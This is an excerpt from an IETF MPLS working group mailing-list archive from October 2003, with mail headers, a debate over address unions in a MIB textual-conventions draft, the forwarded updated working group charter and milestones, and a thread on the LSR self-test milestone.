	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21198
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 12:07:08 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinw06711
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 16:07:15 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpinw06631;
	Wed, 1 Oct 2003 16:07:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpinv00244
	for mpls-outgoing; Wed, 1 Oct 2003 15:49:03 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpinv00236
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 15:48:57 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpinu09780
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:43:51 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinu11293
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:43:51 GMT
Received: from sj-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpinu11282
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:43:50 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h91Fhk5g014788
	for <mpls@uu.net>; Wed, 1 Oct 2003 11:43:46 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU83179;
	Wed, 1 Oct 2003 11:43:45 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h91Fhjl00205 for mpls@uu.net; Wed, 1 Oct 2003 11:43:45 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpinu28430
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 15:32:38 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpinu04342
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:31:14 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinu29815
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:31:13 GMT
Received: from sj-iport-3.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpinu29797
	for <mpls@uu.net>; Wed, 1 Oct 2003 15:31:12 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 01 Oct 2003 08:36:25 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h91FV7Xg000296;
	Wed, 1 Oct 2003 08:31:07 -0700 (PDT)
Received: from tnadeauw2k02 (che-vpn-cluster-2-80.cisco.com [10.86.242.80])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU81517;
	Wed, 1 Oct 2003 11:31:05 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Wijnen, Bert \(Bert\)'" <bwijnen@lucent.com>,
        "'Mpls \(E-mail\)'" <mpls@UU.NET>
Cc: <arunv@force10networks.com>, <hans@ipunplugged.com>,
        <jcucchiara@mindspring.com>, <cheenu@alumni.princeton.edu>,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'" <kireeti@juniper.net>, <swallow@cisco.com>,
        <loa@pi.se>, <mrm@riverstone.net>, <zinin@psg.com>,
        <adrian@olddog.co.uk>
Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
Date: Wed, 1 Oct 2003 11:31:05 -0400
Organization: Cisco Systems, inc.
Message-ID: <01ce01c38831$079360e0$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <7D5D48D2CAA3D84C813F5B154F43B155028EC3C8@nl0006exch001u.nl.lucent.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf 
>Of Wijnen, Bert (Bert)
>Sent: Wednesday, October 01, 2003 11:04 AM
>To: 'tnadeau@cisco.com'; 'Mpls (E-mail)'
>Cc: arunv@force10networks.com; hans@ipunplugged.com; 
>jcucchiara@mindspring.com; cheenu@alumni.princeton.edu; 'Joan 
>Cucchiara x302'; 'Kireeti Kompella'; swallow@cisco.com; 
>loa@pi.se; mrm@riverstone.net; zinin@psg.com; adrian@olddog.co.uk
>Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
>
>
>> >Sure... in C-code, you can do
>> >
>> >  typedef struct und_union teHopAddress {
>> >      int                 type;    /* enums for ip, as, 
>unnum, lspid */
>> >      unsigned char[256]  address; /* format depends on type */
>> >  } TeHopAddress;
>> >
>> >and then later one could do
>> >
>> >  struct someTableEntry {
>> >    /* index stuff  */
>> >    TeHopAddres      address;
>> >    unsigned char[4] as;     /* AS number if address.type 
>is set to 'as' */
>> >    unsigned char[4] unnum;  /* ifnumber if address.type is 
>set to 'as' */
>> >    unsigned char[6] lspId;  /* lspid if address.type is 
>set to 'as' */
>> >  }
>> >
>> >Does that sound/look like good programming?
>> >Well, I think not... but I have to admit that it was a few years
>> >ago that I last wrote C-code  :-((
>> 
>> 	Whether it is great or not, I am not sure,
>> but the point is that there are cases where you need
>> more than one of those fields at the same time.
>> If that example hadn't been brought up, I agree
>> with you that a single union was okay. In fact, I
>> had originally been making this change when it
>> was pointed out that we shouldn't remove it
>> for the reasons I gave earlier.
>> 
>If you DO NEED more than one column, then you would do (in C code):
>
>  struct someTableEntry {
>   /* index stuff  */
>   TeHopAddres      address;
>   TeHopAddres      asAddress; 
>   TeHopAddres      unnum;
>   TeHopAddress     lspId;
>  }
>
>That is, they would all 4 be discriminated unions, and you would NOT
>make the 2nd,3rd,4th addresses be discriminated by a subfield in
>the address struct would you...??

	Well, sort of. You still need the IpAddressType
because that can be IPv4 or IPv6.

	--Tom



>Oh well... I have enough of this.
>
>Bert
>> 	--Tom
>> 
>> 
>



From owner-mpls@UU.NET  Thu Oct  2 04:27:02 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA07509
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 04:27:01 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpiqj19117
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 08:27:09 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpiqj18996;
	Thu, 2 Oct 2003 08:27:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpiqi26435
	for mpls-outgoing; Thu, 2 Oct 2003 08:10:55 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpiqi26419
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 08:10:49 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpiqi26332
	for <mpls@UU.NET>; Thu, 2 Oct 2003 08:02:43 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpiqi13859
	for <mpls@UU.NET>; Thu, 2 Oct 2003 08:02:42 GMT
Received: from smtp4.hy.skanova.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp4.hy.skanova.net [195.67.199.133])
	id QQpiqi13843
	for <mpls@UU.NET>; Thu, 2 Oct 2003 08:02:41 GMT
Received: from pi.se (h45n1fls31o888.telia.com [213.67.172.45])
	by smtp4.hy.skanova.net (8.12.10/8.12.10) with ESMTP id h9282aJg011112;
	Thu, 2 Oct 2003 10:02:36 +0200 (CEST)
Message-ID: <3F7BDB9F.8010602@pi.se>
Date: Thu, 02 Oct 2003 10:02:39 +0200
From: Loa Andersson <loa@pi.se>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mpls wg <mpls@UU.NET>
CC: George Swallow <swallow@cisco.com>, Alex Zinin <zinin@PSG.COM>
Subject: [Fwd: Updated MPLS charter]
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


All,

an updated version of the MPLS working group charter has
been sent to the IESG review. Comments on the charter should
be sent to the working group mailing list.

/Loa


  Multiprotocol Label Switching (mpls)
  -------------------------------------

  Current Status: Active Working Group

  Chair(s):
    George Swallow <swallow@cisco.com>
    Loa Andersson <loa@pi.se>

  Routing Area Director(s):
    Bill Fenner <fenner@research.att.com>
    Alex Zinin <zinin@psg.com>

  Routing Area Advisor:
    Alex Zinin <zinin@psg.com>

  Mailing Lists:
  General Discussion: mpls@uu.net
  To Subscribe: mpls-request@uu.net
  In Body: subscribe (unsubscribe)
  Archive: http://cell.onecall.net/cell-relay/archives/mpls/mpls.index.html

  Description of Working Group:

  The MPLS working group is responsible for standardizing a base
  technology for using label switching and for the implementation of
  label-switched paths over various packet based link-level
  technologies, such as Packet-over-Sonet, Frame Relay, ATM, and
  LAN technologies (e.g. all forms of Ethernet, Token Ring, etc.).
  This includes procedures and protocols for the distribution of
  labels between routers and encapsulation.

  The working group is also responsible for specifying the necessary
  MIBs for the  functionality specified in the base MPLS technology.

  The first generation of the MPLS standards are largely complete,
  and the current WG work items are:

  - procedures and protocols for multicast protocol extensions for
    point-to-multipoint TE, including soft-preemption

  - Define requirements and mechanisms for MPLS OAM

  - Define an overall OAM framework for MPLS applications

  - MPLS-specific aspects of traffic engineering for multi-areas/multi-AS
    in cooperation with the CCAMP WG

  The Working Group chairs tracking of the working group documents can be
  viewed at http://urax.utfors.net/~loa/MPLS_WG_Drafts.htm

  Goals and Milestones:

  Done    Submit documents from original MPLS effort to IESG

  Done    Framework for IP multicast over label-switched paths ready
          for advancement.

  Done    LDP fault tolerance specification ready for advancement to
          Proposed Standard.

  Done    Specification for MPLS-specific recovery ready for advancement.

  Done    Submit Multiprotocol Label Switching (MPLS) Forward
          Equivalency Class-To-Next Hop Label Forwarding Entry
          Management Information Base to the IESG for publication as
          Proposed Standards

  Done    Submit Definitions of Managed Objects for MultoiProtocol
          Label Switching, Label Distribution Protocol (LDP) to the
          IESG for publication as Proposed Standards

  Done    Submit Multiprotocol Label Switching (MPLS) Label Switching
          Router (LSR), Management Information Base to the IESG for
          publication as Proposed Standards

  Done    Submit Multiprotocol Label Switching (MPLS) Management Overview
          to the IESG for publication as Proposed Standards

  Done    Submit Definitions of Textual Conventions for Multiprotocol
          Label Switching (MPLS) Management to the IESG for publication
          as Proposed Standards

  Done    Submit Multiprotocol Label Switching (MPLS) Traffic
          Engineering Management Information Base to the IESG for
          publication as Proposed Standards

  Oct 03  Advance the Label Distribution Protocol to Draft Standard.

  Oct 03  Submit the Traffic Engineering Link MIB to the IESG for
          as a Proposed Standard

  Oct 03  Submit a specification on Encapsulations to carry MPLS over
          IP and GRE to the IESG for as a Proposed Standard

  Nov 03  Together with CCAMP complete and establish the (G)MPLS change
          process

  Apr 04  Advance MPLS Architecture and MPLS encapsulation to Draft
          Standard

  Apr 04  Submit a specification on Soft Pre-emption of LSP Tunnels to
          the IESG for publication as a Proposed Standard

  Nov 03  Submit specification on LSP Ping to the IESG for publication
          as a Proposed Standard

  Apr 04  Submit specification on LSR Self Test to the IESG for
          publication as a Proposed Standard

  Aug 04  Submit an OAM Framework Document to the IESG for publication
          as an Informational RFC

  Oct 04  Advance "Extension to RSVP for LSP Tunnels" to Draft
          Standard

  Nov 04  Submit a document defining the scope, requirements, and issues
          to resolve for setup of P2MP TE LSPs (MPLS and GMPLS)

  Mar 04  Submit document(s) specifying protocol extensions, enhancements
          and mechanisms for setup of P2MP TE LSPs


-----------------------------------

FYI, removed or replaced milestones:

  REMOVE  Shepherd completed MPLS specifications through IESG review and 
RFC editor processing
  REMOVE  MPLS-TE MIB ready for advancement to Proposed Standard
  REMOVE  Base MPLS Proposed Standard RFCs ready for advancement to 
Draft Standard.
  REMOVE  LDP end-to-end LSP authentication ready for advancement to 
Proposed Standard.





-- 
Loa Andersson

Mobile          +46 739 81 21 64
Email           loa@pi.se




From owner-mpls@UU.NET  Thu Oct  2 11:38:03 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA27112
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 11:38:02 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpirm25116
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 15:38:09 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpirm24926;
	Thu, 2 Oct 2003 15:38:03 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpirl20141
	for mpls-outgoing; Thu, 2 Oct 2003 15:21:44 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpirl20053
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 15:21:39 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpirl16528
	for <mpls@UU.NET>; Thu, 2 Oct 2003 15:18:54 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpirl00386
	for <mpls@UU.NET>; Thu, 2 Oct 2003 15:18:53 GMT
Received: from motgate2.mot.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: motgate2.mot.com [136.182.1.10])
	id QQpirl00379
	for <mpls@UU.NET>; Thu, 2 Oct 2003 15:18:53 GMT
Received: from az33exr03.mot.com (pobox3.mot.com [10.64.251.242])
	by motgate2.mot.com (Motorola/Motgate2) with ESMTP id h92FIqpx012742
	for <mpls@UU.NET>; Thu, 2 Oct 2003 08:18:52 -0700 (MST)
Received: from il06exm10.corp.mot.com (il06exm10.corp.mot.com [10.0.111.10])
	by az33exr03.mot.com (Motorola/az33exr03) with ESMTP id h92FIoIK007076
	for <mpls@UU.NET>; Thu, 2 Oct 2003 10:18:50 -0500
Received: by il06exm10.corp.mot.com with Internet Mail Service (5.5.2657.2)
	id <4AWSMXYW>; Thu, 2 Oct 2003 10:18:51 -0500
Message-ID: <5D454811D0A1D711A12A00065BF36FAD28755F@il06exm11.corp.mot.com>
From: Kullberg Alan-G19424 <alan.kullberg@motorola.com>
To: "'Loa Andersson'" <loa@pi.se>, mpls wg <mpls@UU.NET>
Cc: George Swallow <swallow@cisco.com>, Alex Zinin <zinin@PSG.COM>
Subject: RE: [Fwd: Updated MPLS charter]
Date: Thu, 2 Oct 2003 10:19:34 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.2)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Loa,

I noticed that the following item in the "Goals and Milestones"
section has a date of 2004.

>   Nov 04  Submit a document defining the scope, requirements, and issues
>           to resolve for setup of P2MP TE LSPs (MPLS and GMPLS)

At the last IETF meeting, the agreement was to have this done by Nov 03 for
the Minneapolis meeting.  I think this is just a typo as this item specifying
the protocol extensions would be completed BEFORE the scope, etc.

>   Mar 04  Submit document(s) specifying protocol extensions, enhancements
>           and mechanisms for setup of P2MP TE LSPs

Alan


From owner-mpls@UU.NET  Thu Oct  2 15:37:16 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22500
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 15:37:16 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisc18209
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 19:37:23 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpisc18145;
	Thu, 2 Oct 2003 19:37:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpisb29224
	for mpls-outgoing; Thu, 2 Oct 2003 19:20:56 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpisb29217
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 19:20:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpisb25800
	for <mpls@UU.NET>; Thu, 2 Oct 2003 19:16:40 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisb26945
	for <mpls@UU.NET>; Thu, 2 Oct 2003 19:16:39 GMT
Received: from zcars04f.nortelnetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars04f.nortelnetworks.com [47.129.242.57])
	id QQpisb26935
	for <mpls@UU.NET>; Thu, 2 Oct 2003 19:16:39 GMT
Received: from zcard309.ca.nortel.com (zcard309.ca.nortel.com [47.129.242.69])
	by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h92JGT521085;
	Thu, 2 Oct 2003 15:16:29 -0400 (EDT)
Received: by zcard309.ca.nortel.com with Internet Mail Service (5.5.2653.19)
	id <T9H2N6RJ>; Thu, 2 Oct 2003 15:16:29 -0400
Message-ID: <FFFC48AEAA5F7447929F4F0D93FCC12D02B925C2@zcard031.ca.nortel.com>
From: "David Allan" <dallan@nortelnetworks.com>
To: "'Loa Andersson'" <loa@pi.se>, mpls wg <mpls@UU.NET>
Cc: George Swallow <swallow@cisco.com>, Alex Zinin <zinin@PSG.COM>
Subject: LSR Self test in Charter
Date: Thu, 2 Oct 2003 15:16:28 -0400 
X-Mailer: Internet Mail Service (5.5.2653.19)
Sender: owner-mpls@UU.NET
Precedence: bulk

LSR self test is a milestone in this charter, yet I've seen NO discussion of
this on the list other than Loa's brief email soliciting comment back in
July. I understand that normally some interest beyond a few friends hands is
usually a pre-requisite to adopting work......

......So I'll ask a simple technical question to try and spark some
discussion after the fact. If I have an LSR popping the stack in error, I
suspect this will not be detected by an LSR testing itself. As PHP is
considered acceptable behavior, the downstream LSR would NOT observe that
the PING packet on which TTL expired did not arrive as a labelled packet, it
simply looks at the FEC TLV and goes ***OK, it looks reasonable***. There is
no guarantee that the LSR downstream of the defective pop would catch this
either via its use of LSR self test mechanisms as the path into the
defective LSR is assuredly different than that of real traffic.

IMHO if my LSRs are generating a ping transaction for every ILM entry in my
network (which is a s***load of a lot of pings no matter how slowly I run
this stuff), am I really accomplishing anything if discontinuties in the
label switched path cannot be detected by this mechanism? 

cheers
Dave


From owner-mpls@UU.NET  Thu Oct  2 16:42:27 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24772
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 16:42:26 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisg21310
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 20:42:34 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpisg21218;
	Thu, 2 Oct 2003 20:42:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpisf24114
	for mpls-outgoing; Thu, 2 Oct 2003 20:23:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpisf24103
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 20:23:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpisf14163
	for <mpls@uu.net>; Thu, 2 Oct 2003 20:20:33 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisf25801
	for <mpls@uu.net>; Thu, 2 Oct 2003 20:20:33 GMT
Received: from sj-iport-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpisf25786
	for <mpls@uu.net>; Thu, 2 Oct 2003 20:20:32 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h92KKQ03011601
	for <mpls@uu.net>; Thu, 2 Oct 2003 16:20:29 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACV98315;
	Thu, 2 Oct 2003 16:20:25 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h92KKPO23426 for mpls@uu.net; Thu, 2 Oct 2003 16:20:25 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpisf23819
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 20:19:00 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpisf11298
	for <mpls@uu.net>; Thu, 2 Oct 2003 20:17:56 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisf23691
	for <mpls@uu.net>; Thu, 2 Oct 2003 20:17:56 GMT
Received: from sj-iport-3.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpisf23679
	for <mpls@uu.net>; Thu, 2 Oct 2003 20:17:55 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 02 Oct 2003 13:23:37 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h92KHqXg000907;
	Thu, 2 Oct 2003 13:17:53 -0700 (PDT)
Received: from bifocal.cisco.com (bifocal.cisco.com [161.44.172.150])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACV98067;
	Thu, 2 Oct 2003 16:17:51 -0400 (EDT)
Received: from localhost (swallow@localhost) by bifocal.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) with ESMTP id QAA28209; Thu, 2 Oct 2003 16:17:51 -0400 (EDT)
Message-Id: <200310022017.QAA28209@bifocal.cisco.com>
X-Authentication-Warning: bifocal.cisco.com: swallow owned process doing -bs
To: "David Allan" <dallan@nortelnetworks.com>
cc: "'Loa Andersson'" <loa@pi.se>, mpls wg <mpls@UU.NET>,
        George Swallow <swallow@cisco.com>, Alex Zinin <zinin@PSG.COM>,
        swallow@cisco.com
Subject: Re: LSR Self test in Charter 
In-reply-to: Your message of "Thu, 02 Oct 2003 15:16:28 EDT."
             <FFFC48AEAA5F7447929F4F0D93FCC12D02B925C2@zcard031.ca.nortel.com> 
Date: Thu, 02 Oct 2003 16:17:50 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Dave -

There was strong interest expressed in the room in Vienna.  Due to
that, Loa only asked for nay sayers to speak up.  No one objected.  

I've attached the original message.

...George

========================================================================
George Swallow             Cisco Systems                  (978) 936-1398
                           1414 Massachusetts Avenue
                           Boxborough, MA 01719

Date: Thu, 17 Jul 2003 11:14:46 +0200
From: Loa Andersson <loa@pi.se>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: MPLS WG <mpls@UU.NET>, George Swallow <swallow@cisco.com>,
        Alex Zinin
 <zinin@psg.com>
Subject: draft-swallow-mpls-lsr-self-test-01.txt, to wg draft
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Working Group,


at the Vienna MPLS WG meeting the

     Label Switched Router Self-Test
     <draft-swallow-mpls-lsr-self-test-01.txt>

was discussed. There were support for making it a wg draft.
We will go ahead and do so shortly, this is a chance you who were
not in the meeting (or did not speak up) to comment on this.


-- 
/Loa

mobile + 46 739 81 21 64
email: loa@pi.se



From owner-mpls@UU.NET  Thu Oct  2 16:48:32 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24996
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 16:48:31 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpish22970
	for <mpls-archive@lists.ietf.org>; Thu, 2 Oct 2003 20:48:39 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpish22913;
	Thu, 2 Oct 2003 20:48:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpisg24880
	for mpls-outgoing; Thu, 2 Oct 2003 20:32:40 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpisg24875
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 2 Oct 2003 20:32:38 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpisg27412
	for <mpls@UU.NET>; Thu, 2 Oct 2003 20:30:31 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpisg06947
	for <mpls@UU.NET>; Thu, 2 Oct 2003 20:30:31 GMT
